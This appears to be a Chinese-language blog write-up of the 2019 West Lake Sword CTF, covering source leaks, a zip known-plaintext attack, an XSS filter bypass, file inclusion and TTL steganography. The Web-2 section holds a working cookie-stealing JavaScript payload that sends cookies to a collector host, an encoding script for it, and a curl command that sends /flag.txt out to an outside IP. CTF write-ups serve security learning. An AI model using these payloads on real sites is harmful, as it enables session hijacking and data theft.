Hpdoger's Blog.

西湖论剑2019-Writeup

Word count: 1,137 / Reading time: 5 min
2019/04/08 Share

西湖论剑2019-Writeup

Author:Hpdoger@D0g3

这次比赛的Web题顺序放的很有意思。先放web3、再web2、接着web1来了个bug题被秒。ak了三个web之后本来都出去买奶茶喝了,结果比赛末尾有师傅说上了个web4…好在最后零解23333

Web-3

扫描到DS_Store文件泄露:http://ctf3.linkedbyx.com/11182/DS_Store
image_1d7rcmc741ep8qtr17um15g5v49.png-31.9kB

扫描了一下e1xxx这个自路径发现一处git泄露:
image_1d7rcont5k191lp1131q17k81eri4m.png-38.3kB

访问到github仓库:https://github.com/cumtxujiabin/zip
image_1d7rcp5i018i0sesg9a1oec9g353.png-78.6kB

源码git clone下来看,发现Backup这个zip包需要密码,但是同文件夹下有Index.php和jpg被解压出来了。猜测是已知明文攻击
image_1d7rcsqca1qcl1538t7j1mpti6f60.png-37.5kB

用AR跑了一下得到hint文件
image_1d7s0v7dd1djv10opn7j11jq113cei.png-72.4kB

点开hint有两个提示,

  1. 很明显这个code就是之前首页的参数值
    image_1d7riioviv8dnt21j3g1m6s1l9j6q.png-14.9kB
  2. seed应该暗示着随机数/种子

拿着Code请求得到一个数,结合hint猜测是要用兑换码爆破随机数种子
image_1d7rilc951g6t1idm1qtg1osbjnv77.png-61.2kB

最后跑出来种子+.txt后缀请求得到flag
image_1d7rkjigs14vl1gg9h801mr18onag.png-40kB
image_1d7rkfg2e1enjh0g1kif2lb14ala3.png-23.2kB

略脑洞。。

Web-2

题目环境关了有些无法截图

随便输入账号都能登陆,有留言功能、提交给管理员url的功能和EXEC页面,EXEC我推测是个命令执行但是需要管理员权限,所以应该是XSS->admin->rce。留言位置可以插入标签iframe\img\svg.. 但是过滤掉了等号,会被转译成:),我测试的时候用iframe以base64编码属性就能绕过

1
<iframe/src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

编码内容即<img src=x onerror=alert(1)>,可以弹出对话框,

看到了提交Url处有这么一句话,大致好像是这么说的:管理员会拿着你的token来请求页面,之前还在想管理员怎么请求到我的main(因为我测试可以缓存js文件,可能也是一个方面),但是看到这里就完全不用担心了,直接X一个储值型的标签打COOKIE

但是测试用js uri加载外源js不能成功,打不到cookie。

那么我们可不可以直接src下调用Javascript伪协议执行一段js发送COOKIE到平台呢?用ascii编码html字符去bypass

编码转换+exp如下
image_1d7rllved1r0b1ku31lp717bi3hdat.png-71.2kB

url编码处理一下&、#字符
image_1d7rloelagnr1aib1g56184q16cpba.png-153kB

在平台打到cookie,发现存在admin字段
image_1d7rlvepfab61co61oj45l6nctc4.png-36.5kB

带着admin字段去exec.php执行命令就行了
image_1d7rm2jhs1ijc1t2898epplgch.png-70.5kB

1
curl+'http://50.16.48.95/'+--data+"`cat+/flag.txt`"

image_1d7rm3mr9ffe1d2gqr93lp1obcu.png-57kB

编码转换的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
# Author:Hpdoger@d0g3

html_old = "javascript:var website='http://xssye/index.php';(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

buffer = ""

for zimu in html_old:
zimu = ord(zimu)
zimu = "&#"+("%07d") % (zimu)
# print("&#"+zimu)
buffer = buffer + zimu
print(buffer)

web-1

这题上来就有个提示$_GET[‘file’],打了下etc/passwd有内容

看到有个提示,base64解码之后是,dir.php
image_1d7rmb67sieflmcrj41nmodcsdb.png-66.1kB

请求dir.php,同时fuzz参数,有个dir(其实略脑洞,我只尝试了file、dir、path就出来了。。
image_1d7rmfl1j1rab1ind11sb1ffr1bshdo.png-212.3kB

看到根目录存在ffxxx的文件,直接用file去读
image_1d7rmhg0ls1l3ptm8k29n614e5.png-27.7kB

MISC3 TTL隐写

给了个本文,里面是很多TTL值。hint说隐藏了信息。
image_1d7ttpfr51j1m1jks1rd3bafkqjp.png-31.8kB

在网上找了一下,发现在MISC中有一项技术叫TTL隐写。

大致的隐写流程如下:
将TTL的值转为8位二进制,高位补0,取头两位的二进制。这样4个TTL的值就能取够一个8位的二进制数,再将这个8位的二进制转换为字符(因为一个字符=一个字节=8位二进制)。

这就是成功将字符隐写在TTL值中,所以只需要逆出来取8位还原成字符就行,写了个提取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/python3
# Author: Hpdoger@d0g3

count = 0
change_list = []
word_list = ''
zimus = ''

with open("ttls.txt","r") as file:
for ttl in file.readlines():
change_list.append(ttl.replace('TTL=',''))
if len(change_list) == 4:
for num in change_list:
num = int(num)
a = bin(num).replace('0b','')
b = str("%08d" % int(a))
infront = b[0:2]
word_list = word_list + infront


zimu = int(word_list,2)
zimus = zimus+chr(zimu)
word_list = ''
change_list.clear()
count = 0

with open('results.txt','w') as file2:
file2.write(zimus)

转换出来的结果如下
image_1d7tu4dn0ncj1f5s1o7j15641ggr19.png-147.1kB

一看就是16进制,开头ffd8ff是图片头,拖到winhex里还原成图片就行了,最后还原出来4个二维码。

拼接扫描得到:

1
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

维吉尼亚密码解密,得到
flag{2028ab39927df1d96e6a12b03j58002v}
再进行一次字母转换
e->j,e->v
flag{2028ab39927df1d96e6a12b03e58002e}

CATALOG
  1. 1. 西湖论剑2019-Writeup
  2. 2. Web-3
  3. 3. Web-2
  4. 4. web-1
  5. 5. MISC3 TTL隐写